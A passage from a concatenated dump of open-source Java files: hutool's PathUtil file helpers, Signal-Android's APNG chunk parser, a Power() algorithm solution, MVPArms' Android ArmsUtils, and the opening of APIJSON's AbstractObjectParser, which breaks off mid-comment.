visitor) { if (maxDepth < 0) { // < 0 表示遍历到最底层 maxDepth = Integer.MAX_VALUE; } try { Files.walkFileTree(start, getFileVisitOption(isFollowLinks), maxDepth, visitor); } catch (final IOException e) { throw new IORuntimeException(e); } } /** * 删除文件或者文件夹,不追踪软链<br> * 注意:删除文件夹时不会判断文件夹是否为空,如果不空则递归删除子文件或文件夹<br> * 某个文件删除失败会终止删除操作 * * @param path 文件对象 * @return 成功与否 * @throws IORuntimeException IO异常 * @since 4.4.2 */ public static boolean del(Path path) throws IORuntimeException { if (Files.notExists(path)) { return true; } try { if (isDirectory(path)) { Files.walkFileTree(path, DelVisitor.INSTANCE); } else { delFile(path); } } catch (IOException e) { throw new IORuntimeException(e); } return true; } /** * 通过JDK7+的 {@link Files#copy(InputStream, Path, CopyOption...)} 方法拷贝文件 * * @param src 源文件流 * @param target 目标文件或目录,如果为目录使用与源文件相同的文件名 * @param options {@link StandardCopyOption} * @return 目标Path * @throws IORuntimeException IO异常 * @since 5.8.27 */ public static Path copyFile(Resource src, Path target, CopyOption... options) throws IORuntimeException { Assert.notNull(src, "Source is null !"); if(src instanceof FileResource){ return copyFile(((FileResource) src).getFile().toPath(), target, options); } try(InputStream stream = src.getStream()){ return copyFile(stream, target, options); } catch (IOException e) { throw new RuntimeException(e); } } /** * 通过JDK7+的 {@link Files#copy(InputStream, Path, CopyOption...)} 方法拷贝文件 * * @param src 源文件流,使用后不闭流 * @param target 目标文件或目录,如果为目录使用与源文件相同的文件名 * @param options {@link StandardCopyOption} * @return 目标Path * @throws IORuntimeException IO异常 * @since 5.8.27 */ public static Path copyFile(InputStream src, Path target, CopyOption... options) throws IORuntimeException { Assert.notNull(src, "Source is null !"); Assert.notNull(target, "Destination File or directory is null !"); try { Files.copy(src, target, options); } catch (IOException e) { throw new IORuntimeException(e); } return target; } /** * 通过JDK7+的 {@link Files#copy(Path, Path, CopyOption...)} 方法拷贝文件<br> * 此方法不支持递归拷贝目录,如果src传入是目录,只会在目标目录中创建空目录 * * @param src 源文件路径,如果为目录只在目标中创建新目录 * @param dest 目标文件或目录,如果为目录使用与源文件相同的文件名 * @param options {@link StandardCopyOption} * @return 目标Path * @throws IORuntimeException IO异常 */ public static Path copyFile(Path src, Path dest, StandardCopyOption... options) throws IORuntimeException { return copyFile(src, dest, (CopyOption[]) options); } /** * 通过JDK7+的 {@link Files#copy(Path, Path, CopyOption...)} 方法拷贝文件<br> * 此方法不支持递归拷贝目录,如果src传入是目录,只会在目标目录中创建空目录 * * @param src 源文件路径,如果为目录只在目标中创建新目录 * @param target 目标文件或目录,如果为目录使用与源文件相同的文件名 * @param options {@link StandardCopyOption} * @return 目标Path * @throws IORuntimeException IO异常 * @since 5.4.1 */ public static Path copyFile(Path src, Path target, CopyOption... options) throws IORuntimeException { Assert.notNull(src, "Source File is null !"); Assert.notNull(target, "Destination File or directory is null !"); final Path targetPath = isDirectory(target) ? target.resolve(src.getFileName()) : target; // 创建级联父目录 mkParentDirs(targetPath); try { return Files.copy(src, targetPath, options); } catch (IOException e) { throw new IORuntimeException(e); } } /** * 拷贝文件或目录,拷贝规则为: * * <ul> * <li>源文件为目录,目标也为目录或不存在,则拷贝整个目录到目标目录下</li> * <li>源文件为文件,目标为目录或不存在,则拷贝文件到目标目录下</li> * <li>源文件为文件,目标也为文件,则在{@link StandardCopyOption#REPLACE_EXISTING}情况下覆盖之</li> * </ul> * * @param src 源文件路径,如果为目录会在目标中创建新目录 * @param target 目标文件或目录,如果为目录使用与源文件相同的文件名 * @param options {@link StandardCopyOption} * @return Path * @throws IORuntimeException IO异常 * @since 5.5.1 */ public static Path copy(Path src, Path target, CopyOption... options) throws IORuntimeException { Assert.notNull(src, "Src path must be not null !"); Assert.notNull(target, "Target path must be not null !"); if (isDirectory(src)) { return copyContent(src, target.resolve(src.getFileName()), options); } return copyFile(src, target, options); } /** * 拷贝目录下的所有文件或目录到目标目录中,此方法不支持文件对文件的拷贝。 * <ul> * <li>源文件为目录,目标也为目录或不存在,则拷贝目录下所有文件和目录到目标目录下</li> * <li>源文件为文件,目标为目录或不存在,则拷贝文件到目标目录下</li> * </ul> * * @param src 源文件路径,如果为目录只在目标中创建新目录 * @param target 目标目录,如果为目录使用与源文件相同的文件名 * @param options {@link StandardCopyOption} * @return Path * @throws IORuntimeException IO异常 * @since 5.5.1 */ public static Path copyContent(Path src, Path target, CopyOption... options) throws IORuntimeException { Assert.notNull(src, "Src path must be not null !"); Assert.notNull(target, "Target path must be not null !"); try { Files.walkFileTree(src, new CopyVisitor(src, target, options)); } catch (IOException e) { throw new IORuntimeException(e); } return target; } /** * 判断是否为目录,如果file为null,则返回false<br> * 此方法不会追踪到软链对应的真实地址,即软链被当作文件 * * @param path {@link Path} * @return 如果为目录true * @since 5.5.1 */ public static boolean isDirectory(Path path) { return isDirectory(path, false); } /** * 判断是否为目录,如果file为null,则返回false * * @param path {@link Path} * @param isFollowLinks 是否追踪到软链对应的真实地址 * @return 如果为目录true * @since 3.1.0 */ public static boolean isDirectory(Path path, boolean isFollowLinks) { if (null == path) { return false; } return Files.isDirectory(path, getLinkOptions(isFollowLinks)); } /** * 获取指定位置的子路径部分,支持负数,例如index为-1表示从后数第一个节点位置 * * @param path 路径 * @param index 路径节点位置,支持负数(负数从后向前计数) * @return 获取的子路径 * @since 3.1.2 */ public static Path getPathEle(Path path, int index) { return subPath(path, index, index == -1 ? path.getNameCount() : index + 1); } /** * 获取指定位置的最后一个子路径部分 * * @param path 路径 * @return 获取的最后一个子路径 * @since 3.1.2 */ public static Path getLastPathEle(Path path) { return getPathEle(path, path.getNameCount() - 1); } /** * 获取指定位置的子路径部分,支持负数,例如起始为-1表示从后数第一个节点位置 * * @param path 路径 * @param fromIndex 起始路径节点(包括) * @param toIndex 结束路径节点(不包括) * @return 获取的子路径 * @since 3.1.2 */ public static Path subPath(Path path, int fromIndex, int toIndex) { if (null == path) { return null; } final int len = path.getNameCount(); if (fromIndex < 0) { fromIndex = len + fromIndex; if (fromIndex < 0) { fromIndex = 0; } } else if (fromIndex > len) { fromIndex = len; } if (toIndex < 0) { toIndex = len + toIndex; if (toIndex < 0) { toIndex = len; } } else if (toIndex > len) { toIndex = len; } if (toIndex < fromIndex) { int tmp = fromIndex; fromIndex = toIndex; toIndex = tmp; } if (fromIndex == toIndex) { return null; } return path.subpath(fromIndex, toIndex); } /** * 获取文件属性 * * @param path 文件路径{@link Path} * @param isFollowLinks 是否跟踪到软链对应的真实路径 * @return {@link BasicFileAttributes} * @throws IORuntimeException IO异常 */ public static BasicFileAttributes getAttributes(Path path, boolean isFollowLinks) throws IORuntimeException { if (null == path) { return null; } try { return Files.readAttributes(path, BasicFileAttributes.class, getLinkOptions(isFollowLinks)); } catch (IOException e) { throw new IORuntimeException(e); } } /** * 获得输入流 * * @param path Path * @return 输入流 * @throws IORuntimeException 文件未找到 * @since 4.0.0 */ public static BufferedInputStream getInputStream(Path path) throws IORuntimeException { final InputStream in; try { in = Files.newInputStream(path); } catch (IOException e) { throw new IORuntimeException(e); } return IoUtil.toBuffered(in); } /** * 获得一个文件读取器 * * @param path 文件Path * @return BufferedReader对象 * @throws IORuntimeException IO异常 * @since 4.0.0 */ public static BufferedReader getUtf8Reader(Path path) throws IORuntimeException { return getReader(path, CharsetUtil.CHARSET_UTF_8); } /** * 获得一个文件读取器 * * @param path 文件Path * @param charset 字符集 * @return BufferedReader对象 * @throws IORuntimeException IO异常 * @since 4.0.0 */ public static BufferedReader getReader(Path path, Charset charset) throws IORuntimeException { return IoUtil.getReader(getInputStream(path), charset); } /** * 读取文件的所有内容为byte数组 * * @param path 文件 * @return byte数组 * @since 5.5.4 */ public static byte[] readBytes(Path path) { try { return Files.readAllBytes(path); } catch (IOException e) { throw new IORuntimeException(e); } } /** * 获得输出流 * * @param path Path * @return 输入流 * @throws IORuntimeException 文件未找到 * @since 5.4.1 */ public static BufferedOutputStream getOutputStream(Path path) throws IORuntimeException { final OutputStream in; try { in = Files.newOutputStream(path); } catch (IOException e) { throw new IORuntimeException(e); } return IoUtil.toBuffered(in); } /** * 修改文件或目录的文件名,不变更路径,只是简单修改文件名<br> * * <pre> * FileUtil.rename(file, "aaa.jpg", false) xx/xx.png =》xx/aaa.jpg * </pre> * * @param path 被修改的文件 * @param newName 新的文件名,包括扩展名 * @param isOverride 是否覆盖目标文件 * @return 目标文件Path * @since 5.4.1 */ public static Path rename(Path path, String newName, boolean isOverride) { return move(path, path.resolveSibling(newName), isOverride); } /** * 移动文件或目录到目标中,例如: * <ul> * <li>如果src和target为同一文件或目录,直接返回target。</li> * <li>如果src为文件,target为目录,则移动到目标目录下,存在同名文件则按照是否覆盖参数执行。</li> * <li>如果src为文件,target为文件,则按照是否覆盖参数执行。</li> * <li>如果src为文件,target为不存在的路径,则重命名源文件到目标指定的文件,如moveContent("/a/b", "/c/d"), d不存在,则b变成d。</li> * <li>如果src为目录,target为文件,抛出{@link IllegalArgumentException}</li> * <li>如果src为目录,target为目录,则将源目录及其内容移动到目标路径目录中,如move("/a/b", "/c/d"),结果为"/c/d/b"</li> * <li>如果src为目录,target为不存在的路径,则重命名src到target,如move("/a/b", "/c/d"),结果为"/c/d/",相当于b重命名为d</li> * </ul> * * @param src 源文件或目录路径 * @param target 目标路径,如果为目录,则移动到此目录下 * @param isOverride 是否覆盖目标文件 * @return 目标文件Path */ public static Path move(Path src, Path target, boolean isOverride) { return PathMover.of(src, target, isOverride).move(); } /** * 移动文件或目录内容到目标中,例如: * <ul> * <li>如果src为文件,target为目录,则移动到目标目录下,存在同名文件则按照是否覆盖参数执行。</li> * <li>如果src为文件,target为文件,则按照是否覆盖参数执行。</li> * <li>如果src为文件,target为不存在的路径,则重命名源文件到目标指定的文件,如moveContent("/a/b", "/c/d"), d不存在,则b变成d。</li> * <li>如果src为目录,target为文件,抛出{@link IllegalArgumentException}</li> * <li>如果src为目录,target为目录,则将源目录下的内容移动到目标路径目录中,源目录不删除。</li> * <li>如果src为目录,target为不存在的路径,则创建目标路径为目录,将源目录下的内容移动到目标路径目录中,源目录不删除。</li> * </ul> * * @param src 源文件或目录路径 * @param target 目标路径,如果为目录,则移动到此目录下 * @param isOverride 是否覆盖目标文件 * @return 目标文件Path */ public static Path moveContent(Path src, Path target, boolean isOverride) { return PathMover.of(src, target, isOverride).moveContent(); } /** * 检查两个文件是否是同一个文件<br> * 所谓文件相同,是指Path对象是否指向同一个文件或文件夹 * * @param file1 文件1 * @param file2 文件2 * @return 是否相同 * @throws IORuntimeException IO异常 * @see Files#isSameFile(Path, Path) * @since 5.4.1 */ public static boolean equals(Path file1, Path file2) throws IORuntimeException { try { return Files.isSameFile(file1, file2); } catch (IOException e) { throw new IORuntimeException(e); } } /** * 判断是否为文件,如果file为null,则返回false * * @param path 文件 * @param isFollowLinks 是否跟踪软链(快捷方式) * @return 如果为文件true * @see Files#isRegularFile(Path, LinkOption...) */ public static boolean isFile(Path path, boolean isFollowLinks) { if (null == path) { return false; } return Files.isRegularFile(path, getLinkOptions(isFollowLinks)); } /** * 判断是否为符号链接文件 * * @param path 被检查的文件 * @return 是否为符号链接文件 * @since 4.4.2 */ public static boolean isSymlink(Path path) { return Files.isSymbolicLink(path); } /** * 判断文件或目录是否存在 * * @param path 文件 * @param isFollowLinks 是否跟踪软链(快捷方式) * @return 是否存在 * @since 5.5.3 */ public static boolean exists(Path path, boolean isFollowLinks) { return Files.exists(path, getLinkOptions(isFollowLinks)); } /** * 判断是否存在且为非目录 * <ul> * <li>如果path为{@code null},返回{@code false}</li> * <li>如果path不存在,返回{@code false}</li> * </ul> * * @param path {@link Path} * @param isFollowLinks 是否追踪到软链对应的真实地址 * @return 如果为目录true * @since 5.8.14 */ public static boolean isExistsAndNotDirectory(final Path path, final boolean isFollowLinks) { return exists(path, isFollowLinks) && false == isDirectory(path, isFollowLinks); } /** * 判断给定的目录是否为给定文件或文件夹的子目录 * * @param parent 父目录 * @param sub 子目录 * @return 子目录是否为父目录的子目录 * @since 5.5.5 */ public static boolean isSub(Path parent, Path sub) { return toAbsNormal(sub).startsWith(toAbsNormal(parent)); } /** * 将Path路径转换为标准的绝对路径 * * @param path 文件或目录Path * @return 转换后的Path * @since 5.5.5 */ public static Path toAbsNormal(Path path) { Assert.notNull(path); return path.toAbsolutePath().normalize(); } /** * 获得文件的MimeType * * @param file 文件 * @return MimeType * @see Files#probeContentType(Path) * @since 5.5.5 */ public static String getMimeType(Path file) { try { return Files.probeContentType(file); } catch (IOException ignore) { // issue#3179,使用OpenJDK可能抛出NoSuchFileException,此处返回null return null; } } /** * 创建所给目录及其父目录 * * @param dir 目录 * @return 目录 * @since 5.5.7 */ public static Path mkdir(Path dir) { if (null != dir && false == exists(dir, false)) { try { Files.createDirectories(dir); } catch (IOException e) { throw new IORuntimeException(e); } } return dir; } /** * 创建所给文件或目录的父目录 * * @param path 文件或目录 * @return 父目录 * @since 5.5.7 */ public static Path mkParentDirs(Path path) { return mkdir(path.getParent()); } /** * 获取{@link Path}文件名 * * @param path {@link Path} * @return 文件名 * @since 5.7.15 */ public static String getName(Path path) { if (null == path) { return null; } return path.getFileName().toString(); } /** * 创建临时文件<br> * 创建后的文件名为 prefix[Random].suffix From com.jodd.io.FileUtil * * @param prefix 前缀,至少3个字符 * @param suffix 后缀,如果null则使用默认.tmp * @param dir 临时文件创建的所在目录 * @return 临时文件 * @throws IORuntimeException IO异常 * @since 6.0.0 */ public static Path createTempFile(final String prefix, final String suffix, final Path dir) throws IORuntimeException { int exceptionsCount = 0; while (true) { try { if(null == dir){ return Files.createTempFile(prefix, suffix); }else{ return Files.createTempFile(mkdir(dir), prefix, suffix); } } catch (final IOException ioex) { // fixes java.io.WinNTFileSystem.createFileExclusively access denied if (++exceptionsCount >= 50) { throw new IORuntimeException(ioex); } } } } /** * 删除文件或空目录,不追踪软链 * * @param path 文件对象 * @throws IOException IO异常 * @since 5.7.7 */ protected static void delFile(Path path) throws IOException { try { Files.delete(path); } catch (AccessDeniedException e) { // 可能遇到只读文件,无法删除.使用 file 方法删除 if (false == path.toFile().delete()) { throw e; } } } /** * 构建是否追踪软链的选项 * * @param isFollowLinks 是否追踪软链 * @return 选项 * @since 5.8.23 */ public static LinkOption[] getLinkOptions(final boolean isFollowLinks) { return isFollowLinks ? new LinkOption[0] : new LinkOption[]{LinkOption.NOFOLLOW_LINKS}; } /** * 构建是否追踪软链的选项 * * @param isFollowLinks 是否追踪软链 * @return 选项 * @since 5.8.23 */ public static Set<FileVisitOption> getFileVisitOption(final boolean isFollowLinks) { return isFollowLinks ? EnumSet.of(FileVisitOption.FOLLOW_LINKS) : EnumSet.noneOf(FileVisitOption.class); } }
dromara/hutool
hutool-core/src/main/java/cn/hutool/core/io/file/PathUtil.java
59
/* * Copyright 2019 Zhou Pengfei * SPDX-License-Identifier: Apache-2.0 */ package org.signal.glide.apng.decode; import android.text.TextUtils; import org.signal.glide.apng.io.APNGReader; import java.io.IOException; /** * @Description: Length (长度) 4字节 指定数据块中数据域的长度,其长度不超过(231-1)字节 * Chunk Type Code (数据块类型码) 4字节 数据块类型码由ASCII字母(A-Z和a-z)组成 * Chunk Data (数据块数据) 可变长度 存储按照Chunk Type Code指定的数据 * CRC (循环冗余检测) 4字节 存储用来检测是否有错误的循环冗余码 * @Link https://www.w3.org/TR/PNG * @Author: pengfei.zhou * @CreateDate: 2019/3/27 */ class Chunk { int length; int fourcc; int crc; int offset; static int fourCCToInt(String fourCC) { if (TextUtils.isEmpty(fourCC) || fourCC.length() != 4) { return 0xbadeffff; } return (fourCC.charAt(0) & 0xff) | (fourCC.charAt(1) & 0xff) << 8 | (fourCC.charAt(2) & 0xff) << 16 | (fourCC.charAt(3) & 0xff) << 24 ; } void parse(APNGReader reader) throws IOException { int available = reader.available(); innerParse(reader); int offset = available - reader.available(); if (offset > length) { throw new IOException("Out of chunk area"); } else if (offset < length) { reader.skip(length - offset); } } void innerParse(APNGReader reader) throws IOException { } }
signalapp/Signal-Android
app/src/main/java/org/signal/glide/apng/decode/Chunk.java
60
/** * @author Anonymous * @since 2019/11/20 */ public class Solution { /** * 计算数值的整数次方 * * @param base 底数 * @param exponent 指数 * @return 数值的整数次方 */ public double Power(double base, int exponent) { double result = 1.0; int n = Math.abs(exponent); for (int i = 0; i < n; ++i) { result *= base; } return exponent < 0 ? 1.0 / result : result; } }
geekxh/hello-algorithm
算法读物/剑指offer/16_Power/Solution.java
91
/* * Copyright 2017 JessYan * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.jess.arms.utils; import android.annotation.SuppressLint; import android.app.Activity; import android.content.Context; import android.content.Intent; import android.content.res.Resources; import android.graphics.drawable.Drawable; import android.os.Build; import android.text.SpannableString; import android.text.Spanned; import android.text.SpannedString; import android.text.style.AbsoluteSizeSpan; import android.view.View; import android.view.ViewGroup; import android.view.ViewParent; import android.view.WindowManager; import android.widget.TextView; import android.widget.Toast; import com.google.android.material.snackbar.Snackbar; import com.jess.arms.base.App; import com.jess.arms.di.component.AppComponent; import com.jess.arms.integration.AppManager; import java.nio.charset.StandardCharsets; import java.security.MessageDigest; import androidx.annotation.NonNull; import androidx.recyclerview.widget.DefaultItemAnimator; import androidx.recyclerview.widget.RecyclerView; /** * ================================================ * 一些框架常用的工具 * <p> * Created by JessYan on 2015/11/23. * <a href="mailto:jess.yan.effort@gmail.com">Contact me</a> * <a href="https://github.com/JessYanCoding">Follow me</a> * ================================================ */ public class ArmsUtils { static public Toast mToast; private ArmsUtils() { throw new IllegalStateException("you can't instantiate me!"); } /** * 设置hint大小 * * @param size * @param v * @param res */ public static void setViewHintSize(Context context, int size, TextView v, int res) { SpannableString ss = new SpannableString(getResources(context).getString( res)); // 新建一个属性对象,设置文字的大小 AbsoluteSizeSpan ass = new AbsoluteSizeSpan(size, true); // 附加属性到文本 ss.setSpan(ass, 0, ss.length(), Spanned.SPAN_EXCLUSIVE_EXCLUSIVE); // 设置hint v.setHint(new SpannedString(ss)); // 一定要进行转换,否则属性会消失 } /** * dp 转 px * * @param context {@link Context} * @param dpValue {@code dpValue} * @return {@code pxValue} */ public static int dip2px(@NonNull Context context, float dpValue) { final float scale = getResources(context).getDisplayMetrics().density; return (int) (dpValue * scale + 0.5f); } /** * px 转 dp * * @param context {@link Context} * @param pxValue {@code pxValue} * @return {@code dpValue} */ public static int pix2dip(@NonNull Context context, int pxValue) { final float scale = getResources(context).getDisplayMetrics().density; return (int) (pxValue / scale + 0.5f); } /** * sp 转 px * * @param context {@link Context} * @param spValue {@code spValue} * @return {@code pxValue} */ public static int sp2px(@NonNull Context context, float spValue) { final float fontScale = getResources(context).getDisplayMetrics().scaledDensity; return (int) (spValue * fontScale + 0.5f); } /** * px 转 sp * * @param context {@link Context} * @param pxValue {@code pxValue} * @return {@code spValue} */ public static int px2sp(@NonNull Context context, float pxValue) { final float fontScale = getResources(context).getDisplayMetrics().scaledDensity; return (int) (pxValue / fontScale + 0.5f); } /** * 获得资源 */ public static Resources getResources(Context context) { return context.getResources(); } /** * 得到字符数组 */ public static String[] getStringArray(Context context, int id) { return getResources(context).getStringArray(id); } /** * 从 dimens 中获得尺寸 * * @param context * @param id * @return */ public static int getDimens(Context context, int id) { return (int) getResources(context).getDimension(id); } /** * 从 dimens 中获得尺寸 * * @param context * @param dimenName * @return */ public static float getDimens(Context context, String dimenName) { return getResources(context).getDimension(getResources(context).getIdentifier(dimenName, "dimen", context.getPackageName())); } /** * 从String 中获得字符 * * @return */ public static String getString(Context context, int stringID) { return getResources(context).getString(stringID); } /** * 从String 中获得字符 * * @return */ public static String getString(Context context, String strName) { return getString(context, getResources(context).getIdentifier(strName, "string", context.getPackageName())); } /** * findview * * @param view * @param viewName * @param <T> * @return */ public static <T extends View> T findViewByName(Context context, View view, String viewName) { int id = getResources(context).getIdentifier(viewName, "id", context.getPackageName()); return view.findViewById(id); } /** * findview * * @param activity * @param viewName * @param <T> * @return */ public static <T extends View> T findViewByName(Context context, Activity activity, String viewName) { int id = getResources(context).getIdentifier(viewName, "id", context.getPackageName()); return activity.findViewById(id); } /** * 根据 layout 名字获得 id * * @param layoutName * @return */ public static int findLayout(Context context, String layoutName) { return getResources(context).getIdentifier(layoutName, "layout", context.getPackageName()); } /** * 填充view * * @param detailScreen * @return */ public static View inflate(Context context, int detailScreen) { return View.inflate(context, detailScreen, null); } /** * 单例 toast * * @param string */ @SuppressLint("ShowToast") public static void makeText(Context context, String string) { if (mToast == null) { mToast = Toast.makeText(context, string, Toast.LENGTH_SHORT); } mToast.setText(string); mToast.show(); } /** * 使用 {@link Snackbar} 显示文本消息 * Arms 已将 com.google.android.material:material 从依赖中移除 (目的是减小 Arms 体积, design 库中含有太多 View) * 因为 Snackbar 在 com.google.android.material:material 库中, 所以如果框架使用者没有自行依赖 com.google.android.material:material * Arms 则会使用 Toast 替代 Snackbar 显示信息, 如果框架使用者依赖了 arms-autolayout 库就不用依赖 com.google.android.material:material 了 * 因为在 arms-autolayout 库中已经依赖有 com.google.android.material:material * * @param text */ public static void snackbarText(String text) { AppManager.getAppManager().showSnackbar(text, false); } /** * 使用 {@link Snackbar} 长时间显示文本消息 * Arms 已将 com.google.android.material:material 从依赖中移除 (目的是减小 Arms 体积, design 库中含有太多 View) * 因为 Snackbar 在 com.google.android.material:material 库中, 所以如果框架使用者没有自行依赖 com.google.android.material:material * Arms 则会使用 Toast 替代 Snackbar 显示信息, 如果框架使用者依赖了 arms-autolayout 库就不用依赖 com.google.android.material:material 了 * 因为在 arms-autolayout 库中已经依赖有 com.google.android.material:material * * @param text */ public static void snackbarTextWithLong(String text) { AppManager.getAppManager().showSnackbar(text, true); } /** * 通过资源id获得drawable * * @param rID * @return */ public static Drawable getDrawablebyResource(Context context, int rID) { return getResources(context).getDrawable(rID); } /** * 跳转界面 1, 通过 {@link AppManager#startActivity(Class)} * * @param activityClass */ public static void startActivity(Class activityClass) { AppManager.getAppManager().startActivity(activityClass); } /** * 跳转界面 2, 通过 {@link AppManager#startActivity(Intent)} * * @param */ public static void startActivity(Intent content) { AppManager.getAppManager().startActivity(content); } /** * 跳转界面 3 * * @param activity * @param homeActivityClass */ public static void startActivity(Activity activity, Class homeActivityClass) { Intent intent = new Intent(activity.getApplicationContext(), homeActivityClass); activity.startActivity(intent); } /** * 跳转界面 4 * * @param */ public static void startActivity(Activity activity, Intent intent) { activity.startActivity(intent); } /** * 获得屏幕的宽度 * * @return */ public static int getScreenWidth(Context context) { return getResources(context).getDisplayMetrics().widthPixels; } /** * 获得屏幕的高度 * * @return */ public static int getScreenHeidth(Context context) { return getResources(context).getDisplayMetrics().heightPixels; } /** * 获得颜色 */ public static int getColor(Context context, int rid) { return getResources(context).getColor(rid); } /** * 获得颜色 */ public static int getColor(Context context, String colorName) { return getColor(context, getResources(context).getIdentifier(colorName, "color", context.getPackageName())); } /** * 移除孩子 * * @param view */ public static void removeChild(View view) { ViewParent parent = view.getParent(); if (parent instanceof ViewGroup) { ViewGroup group = (ViewGroup) parent; group.removeView(view); } } public static boolean isEmpty(Object obj) { return obj == null; } /** * MD5 * * @param string * @return * @throws Exception */ public static String encodeToMD5(String string) { byte[] hash = new byte[0]; try { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { hash = MessageDigest.getInstance("MD5").digest( string.getBytes(StandardCharsets.UTF_8)); } else { hash = MessageDigest.getInstance("MD5").digest( string.getBytes("UTF-8")); } } catch (Exception e) { e.printStackTrace(); } StringBuilder hex = new StringBuilder(hash.length * 2); for (byte b : hash) { if ((b & 0xFF) < 0x10) { hex.append("0"); } hex.append(Integer.toHexString(b & 0xFF)); } return hex.toString(); } /** * 全屏,并且沉侵式状态栏 * * @param activity */ public static void statuInScreen(Activity activity) { WindowManager.LayoutParams attrs = activity.getWindow().getAttributes(); attrs.flags &= ~WindowManager.LayoutParams.FLAG_FULLSCREEN; activity.getWindow().setAttributes(attrs); activity.getWindow().addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN); activity.getWindow().addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS); } /** * 配置 RecyclerView * * @param recyclerView * @param layoutManager * @deprecated Use {@link #configRecyclerView(RecyclerView, RecyclerView.LayoutManager)} instead */ @Deprecated public static void configRecycleView(final RecyclerView recyclerView , RecyclerView.LayoutManager layoutManager) { recyclerView.setLayoutManager(layoutManager); //如果可以确定每个item的高度是固定的,设置这个选项可以提高性能 recyclerView.setHasFixedSize(true); recyclerView.setItemAnimator(new DefaultItemAnimator()); } /** * 配置 RecyclerView * * @param recyclerView * @param layoutManager */ public static void configRecyclerView(final RecyclerView recyclerView , RecyclerView.LayoutManager layoutManager) { recyclerView.setLayoutManager(layoutManager); //如果可以确定每个item的高度是固定的,设置这个选项可以提高性能 recyclerView.setHasFixedSize(true); recyclerView.setItemAnimator(new DefaultItemAnimator()); } /** * 执行 {@link AppManager#killAll()} */ public static void killAll() { AppManager.getAppManager().killAll(); } /** * 执行 {@link AppManager#appExit()} */ public static void exitApp() { AppManager.getAppManager().appExit(); } public static AppComponent obtainAppComponentFromContext(Context context) { Preconditions.checkNotNull(context, "%s cannot be null", Context.class.getName()); Preconditions.checkState(context.getApplicationContext() instanceof App, "%s must be implements %s", context.getApplicationContext().getClass().getName(), App.class.getName()); return ((App) context.getApplicationContext()).getAppComponent(); } }
JessYanCoding/MVPArms
arms/src/main/java/com/jess/arms/utils/ArmsUtils.java
92
/*Copyright (C) 2020 THL A29 Limited, a Tencent company. All rights reserved. This source code is licensed under the Apache License Version 2.0.*/ package apijson.orm; import apijson.JSONResponse; import apijson.Log; import apijson.NotNull; import apijson.RequestMethod; import apijson.StringUtil; import apijson.orm.AbstractFunctionParser.FunctionBean; import apijson.orm.exception.ConflictException; import apijson.orm.exception.CommonException; import apijson.orm.exception.NotExistException; import apijson.orm.exception.UnsupportedDataTypeException; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONArray; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.serializer.SerializerFeature; import java.rmi.ServerException; import java.util.*; import java.util.Map.Entry; import static apijson.JSONObject.KEY_COMBINE; import static apijson.JSONObject.KEY_DROP; import static apijson.JSONObject.KEY_TRY; import static apijson.RequestMethod.POST; import static apijson.RequestMethod.PUT; import static apijson.orm.SQLConfig.TYPE_ITEM; import static apijson.RequestMethod.GET; /**简化Parser,getObject和getArray(getArrayConfig)都能用 * @author Lemon */ public abstract class AbstractObjectParser<T extends Object> implements ObjectParser<T> { private static final String TAG = "AbstractObjectParser"; @NotNull protected AbstractParser<T> parser; @Override public AbstractParser<T> getParser() { return parser; } @Override public AbstractObjectParser<T> setParser(Parser<T> parser) { this.parser = (AbstractParser<T>) parser; return this; } protected JSONObject request;//不用final是为了recycle protected String parentPath;//不用final是为了recycle protected SQLConfig<T> arrayConfig;//不用final是为了recycle protected boolean isSubquery; protected final int type; protected final String arrayTable; protected final List<Join> joinList; protected final boolean isTable; protected final boolean isArrayMainTable; protected final boolean tri; /** * TODO Parser内要不因为 非 TYPE_ITEM_CHILD_0 的Table 为空导致后续中断。 */ protected final boolean drop; /**for single object */ public AbstractObjectParser(@NotNull JSONObject request, String parentPath, SQLConfig arrayConfig , boolean isSubquery, boolean isTable, boolean isArrayMainTable) throws Exception { if (request == null) { throw new IllegalArgumentException(TAG + ".ObjectParser request == null!!!"); } this.request = request; this.parentPath = parentPath; this.arrayConfig = arrayConfig; this.isSubquery = isSubquery; this.type = arrayConfig == null ? 0 : arrayConfig.getType(); this.arrayTable = arrayConfig == null ? null : arrayConfig.getTable(); this.joinList = arrayConfig == null ? null : arrayConfig.getJoinList(); this.isTable = isTable; // apijson.JSONObject.isTableKey(table); this.isArrayMainTable = isArrayMainTable; // isSubquery == false && this.isTable && this.type == SQLConfig.TYPE_ITEM_CHILD_0 && RequestMethod.isGetMethod(method, true); // this.isReuse = isReuse; // isArrayMainTable && arrayConfig != null && arrayConfig.getPosition() > 0; this.objectCount = 0; this.arrayCount = 0; boolean isEmpty = request.isEmpty();//empty有效 User:{} if (isEmpty) { this.tri = false; this.drop = false; } else { this.tri = request.getBooleanValue(KEY_TRY); this.drop = request.getBooleanValue(KEY_DROP); request.remove(KEY_TRY); request.remove(KEY_DROP); } if (isTable) { String raw = request.getString(JSONRequest.KEY_RAW); String[] rks = StringUtil.split(raw); rawKeyList = rks == null || rks.length <= 0 ? null : Arrays.asList(rks); } } @Override public String getParentPath() { return parentPath; } @Override public AbstractObjectParser setParentPath(String parentPath) { this.parentPath = parentPath; return this; } protected int position; public int getPosition() { return position; } public AbstractObjectParser setPosition(int position) { this.position = position; return this; } private boolean invalidate = false; public void invalidate() { invalidate = true; } public boolean isInvalidate() { return invalidate; } private boolean breakParse = false; public void breakParse() { breakParse = true; } public boolean isBreakParse() { return breakParse || isInvalidate(); } protected String name; protected String table; protected String alias; protected boolean isReuse; protected String path; protected JSONObject response; protected JSONObject sqlRequest; protected JSONObject sqlResponse; /** * 自定义关键词 */ protected Map<String, Object> customMap; /** * 远程函数 * {"-":{ "key-()":value }, "0":{ "key()":value }, "+":{ "key+()":value } } * - : 在executeSQL前解析 * 0 : 在executeSQL后、onChildParse前解析 * + : 在onChildParse后解析 */ protected Map<String, Map<String, String>> functionMap; /** * 子对象 */ protected Map<String, JSONObject> childMap; private int objectCount; private int arrayCount; private List<String> rawKeyList; /**解析成员 * 